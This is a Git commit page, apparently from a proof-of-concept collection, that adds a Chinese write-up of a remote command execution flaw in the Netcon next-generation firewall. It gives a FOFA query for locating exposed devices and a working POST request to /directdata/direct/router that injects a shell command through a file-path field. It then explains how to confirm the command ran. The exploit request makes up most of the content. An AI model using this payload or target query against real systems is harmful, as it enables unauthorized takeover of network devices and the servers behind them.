admin/wy876_POC
1
0
Fork 0
mirror of https://github.com/wy876/POC.git synced 2025-02-27 04:39:25 +00:00
Code Issues Packages Projects Releases Wiki Activity

Create 奇安信网康下一代防火墙directdata存在远程命令执行漏洞.md

Browse Source
This commit is contained in:
wy876 2024-01-12 12:23:35 +08:00 committed by GitHub
parent 30ee839f83
commit 169412e310
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 27 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

27
奇安信网康下一代防火墙directdata存在远程命令执行漏洞.md Normal file
View File

@ -0,0 +1,27 @@
## 奇安信网康下一代防火墙directdata存在远程命令执行漏洞
奇安信网康下一代防火墙（NGFW）是网康科技推出的一款可全面应对网络威胁的高性能应用层防火墙，存在远程命令执行，通过漏洞攻击者可以获取服务器权限。
## fofa
```
app="网康下一代防火墙"
```
## poc
```
POST /directdata/direct/router HTTP/1.1
Host:
Connection: close
Content-Length: 160
Upgrade-Insecure-Requests: 1
{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;id >/var/www/html/test.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}
```
![5655f30db3f659f378796e6839e606ca](https://github.com/wy876/POC/assets/139549762/68a44096-0939-4fd7-971f-b73cde261000)
然后访问https://xxxx.xxx/test.txt
发现，命令已经成功执行
![9e52fb8cbdc1cb4fcd479c2a56eb05c8](https://github.com/wy876/POC/assets/139549762/5227040a-13f1-4b7c-9d04-f22cbfd34404)